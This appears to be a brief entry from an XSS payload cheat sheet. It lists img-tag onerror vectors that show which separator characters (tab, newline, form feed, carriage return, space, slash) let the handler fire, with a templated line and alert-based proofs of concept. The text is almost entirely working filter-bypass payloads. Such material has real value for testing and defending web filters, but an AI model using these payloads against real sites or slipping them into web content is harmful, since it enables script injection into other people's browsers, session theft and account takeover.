This XSS vector shows what characters can be used before the onerror event.
<img src $[chr]onerror=log($[i])><img src 0x09onerror=alert(9)><img src
onerror=alert(10)><img src 0x0Conerror=alert(12)><img src 0x0Donerror=alert(13)><img src onerror=alert(32)><img src /onerror=alert(47)>